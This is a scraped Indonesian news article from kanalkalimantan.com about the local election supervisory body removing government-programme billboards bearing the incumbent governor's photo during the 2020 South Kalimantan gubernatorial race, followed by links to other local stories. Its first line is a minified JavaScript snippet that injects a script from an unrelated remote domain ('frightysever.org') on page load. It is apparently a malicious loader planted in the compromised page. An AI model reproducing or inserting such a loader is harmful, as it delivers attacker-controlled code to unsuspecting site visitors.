(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Melanggar Aturan, Baliho Bergambar Petahana Diturunkan


KANALKALIMANTAN.COM, AMUNTAI – Dinilai melanggar aturan, Badan Pengawas Pemilu (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) menertibkan baliho program pemerintah yang memuat foto petahana.

Hal ini sesuai dengan Peraturan KPU Nomor 4 Tahun 2017 tentang kampanye terdapat larangan berkampanye dengan menggunakan program pemerintah.

Seperti diketahui, Pilgub Kalsel tahun 2020 menghadirkan dua pasangan calon, yakni pasangan calon (Paslon) nomor urut satu H Sahbirin Noor-Muhidin dan pasangan calon nomor urut dua Denny Indrayana-Difriadi Darjat.

Pada 23 september 2020 lalu, H Sahbirin Noor resmi ditetapkan sebagai calon Gubernur sehingga secara otomatis baliho dan spanduk yang memuat foto dirinya harus diturunkan.

“Totalnya tidak pasti, sekitar 7 sampai 9 buah baliho (yang memuat foto petahana),” ungkap Koordinator Divisi Hukum dan Penanganan Pelanggaran Bawaslu HSU Khairil kepada KanalKalimantan.com, ditanya mengenai jumlah spanduk/baleho yang ditertibkan, Minggu (4/10/2020).

Sementara dalam penertiban malam kemarin, Jumat (3/10/2020), Khairil menyebut Bawaslu HSU melibatkan Kepolisian, TNI, serta Satpol PP di beberapa titik penurunan baliho, seperti di Depan Mesjid At Taqwa, kawasan Kelurahan Antasari, Banua Lima, Muara Tapus hingga kelurahan Sungai Malang.

“Baliho maupun spanduk yang memuat foto petahana semuanya adalah bentuk kampanye, sedangkan tahapan masa kampanye itu sendiri sudah ditentukan waktunya oleh KPU, tahapan kampanye sudah masuk sejak 26 September lalu, sehingga harus ditertibkan, tentunya hal tersebut telah kami koordinasikan dengan Satpol PP, Kepolisian dan TNI,” kata Ketua Bawaslu HSU Syardani.

Bawaslu Kabupaten HSU gencar sosialisasikan tentang netralitas Aparatur Sipil Negara (ASN) untuk mewujudkan pemilu yang berintegritas. (kanalkalimantan.com/dew)

 

Reporter: Dew
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.